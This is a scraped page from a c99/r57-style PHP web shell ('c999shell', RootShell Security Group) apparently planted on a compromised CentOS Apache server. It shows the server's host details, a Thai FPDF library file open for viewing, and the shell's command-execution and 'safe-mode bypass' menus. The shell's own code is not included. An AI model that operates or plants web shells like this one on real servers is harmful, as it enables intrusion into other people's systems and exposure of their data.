Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/fpdf/ drwxr-xr-x |
Viewing file: fpdf_thai.php (19.72 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | FPDF($orientation,$unit,$format); } /******************************************************************************** * ประเภท : Function ของ Class FPDF_TH * * อ้างอิง : Function MultiCell ของ Class FPDF * * การทำงาน : ใช้ในการพิมพ์ข้อความหลายบรรทัดของเอกสาร PDF * * รูบแบบ : MultiCell ( * * $w = ความกว้างของCell * * , $h = ความสูงของCell * * , $txt = ข้อความที่จะพิมพ์ * * , $border = กำหนดการแสดงเส้นกรอบ(0 = ไม่แสดง, 1= แสดง) * * , $align = ตำแหน่งข้อความ * (L = ซ้าย, R = ขวา, C = กึ่งกลาง, J = กระจาย) * * , $fill = กำหนดการแสดงสีของCell(0 = ไม่แสดง, 1 = แสดง) * * ) * *********************************************************************************/ function MultiCell($w,$h,$txt,$border=0,$align='J',$fill=0) { //Output text with automatic or explicit line breaks $cw=&$this->CurrentFont['cw']; if($w==0) $w=$this->w-$this->rMargin-$this->x; $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; $s=str_replace("\r",'',$txt); $nb=strlen($s); if($nb>0 && $s[$nb-1]=="\n") $nb--; $b=0; if($border) { if($border==1) { $border='LTRB'; $b='LRT'; $b2='LR'; } else { $b2=''; if(strpos($border,'L')!==false) $b2.='L'; if(strpos($border,'R')!==false) $b2.='R'; $b=(strpos($border,'T')!==false) ? $b2.'T' : $b2; } } $sep=-1; $i=0; $j=0; $l=0; $ns=0; $nl=1; while($i<$nb) { //Get next character $c=$s{$i}; if($c=="\n") { //Explicit line break if($this->ws>0) { $this->ws=0; $this->_out('0 Tw'); } $this->MCell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); $i++; $sep=-1; $j=$i; $l=0; $ns=0; $nl++; if($border && $nl==2) $b=$b2; continue; } if($c==' ') { $sep=$i; $ls=$l; $ns++; } $l+=$cw[$c]; if($l>$wmax) { //Automatic line break if($sep==-1) { if($i==$j) $i++; if($this->ws>0) { $this->ws=0; $this->_out('0 Tw'); } $this->MCell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); } else { if($align=='J') { $this->ws=($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0; $this->_out(sprintf('%.3f Tw',$this->ws*$this->k)); } $this->MCell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill); $i=$sep+1; } $sep=-1; $j=$i; $l=0; $ns=0; $nl++; if($border && $nl==2) $b=$b2; } else $i++; } //Last chunk if($this->ws>0) { $this->ws=0; $this->_out('0 Tw'); } if($border && strpos($border,'B')!==false) $b.='B'; $this->MCell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill); $this->x=$this->lMargin; } /******************************************************************************** * ประเภท : Function ของ Class FPDF_TH * * อ้างอิง : Function Cell ของ Class FPDF * * การทำงาน : ใช้ในการพิมพ์ข้อความทีละบรรทัดของเอกสาร PDF * * รูบแบบ : Cell ( * * $w = ความกว้างของCell * * , $h = ความสูงของCell * * , $txt = ข้อความที่จะพิมพ์ * * , $border = กำหนดการแสดงเส้นกรอบ(0 = ไม่แสดง, 1= แสดง) * * , $ln = ตำแหน่งที่อยู่ถัดไปจากเซลล์ * * (0 = ขวา, 1 = บรรทัดถัดไป, 2 = ด้านล่าง) * * , $align = ตำแหน่งข้อความ * (L = ซ้าย, R = ขวา, C = กึ่งกลาง, T = บน, B = ล่าง) * * , $fill = กำหนดการแสดงสีของCell(0 = ไม่แสดง, 1 = แสดง) * * , $link = URL ที่ต้องการให้ข้อความเชื่อมโยงไปถึง * * ) * *********************************************************************************/ function Cell($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=0,$link='') { $this->checkFill=""; $k=$this->k; if($this->y+$h>$this->PageBreakTrigger && !$this->InFooter && $this->AcceptPageBreak()) { //ขึ้นหน้าใหม่อัตโนมัต $x=$this->x; $ws=$this->ws; if($ws>0) { $this->ws=0; $this->_out('0 Tw'); } $this->AddPage($this->CurOrientation); $this->x=$x; if($ws>0) { $this->ws=$ws; $this->_out(sprintf('%.3f Tw',$ws*$k)); } } //กำหนดความกว้างเซลล์เท่ากับหน้ากระดาษ if($w==0) $w=$this->w-$this->rMargin-$this->x; $this->s_th=''; //กำหนดการแสดงเส้นกรอบ 4 ด้าน และสีกรอบ if($fill==1 |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]-- |